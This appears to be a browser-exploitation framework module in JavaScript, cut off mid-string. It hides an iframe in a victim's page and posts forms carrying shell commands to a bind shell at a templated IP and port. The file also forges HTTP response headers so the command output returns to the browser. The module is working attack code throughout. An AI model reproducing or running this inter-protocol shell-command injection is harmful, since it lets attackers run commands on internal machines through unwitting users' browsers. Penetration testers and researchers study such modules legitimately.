// // Copyright 2011 Wade Alcorn wade@bindshell.net // // Licensed under the Apache License, Version 2.0 (the "License"); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // // http://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an "AS IS" BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. // beef.execute(function() { var target_ip = "<%= @ip %>"; var target_port = "<%= @port %>"; var cmd = '<%= @cmd %>'; var command_timeout = "<%= @command_timeout %>"; var internal_counter = 0; var result_size = "<%= @result_size %>"; // create iframe var iframe = document.createElement("iframe"); iframe.setAttribute("id","ipc_posix_window_<%= @command_id %>"); iframe.setAttribute("style", "visibility:hidden;width:1px;height:1px;"); document.body.appendChild(iframe); // send a request function send_cmds(ip, port, cmd, size) { var action = "http://" + ip + ":" + port + "/index.html?&/bin/sh&&"; var parent = window.location.href; // create form myform=document.createElement("form"); myform.setAttribute("name","data"); myform.setAttribute("method","post"); myform.setAttribute("enctype","multipart/form-data"); myform.setAttribute("action",action); document.getElementById("ipc_posix_window_<%= @command_id %>").contentWindow.document.body.appendChild(myform); // post results separator myExt = document.createElement("INPUT"); myExt.setAttribute("id",<%= @command_id %>); myExt.setAttribute("name",<%= @command_id %>); myExt.setAttribute("value","echo -e HTTP/1.1 200 OK\\\\r;echo -e Content-Type: text/html\\\\r;echo -e Content-Length: "+(34+cmd.length+52+parent.length+115+size*1)+"\\\\r;echo -e Keep-Alive: timeout=5,max=100\\\\r;echo -e Connection: keep-alive\\\\r;echo -e \\\\r;echo \"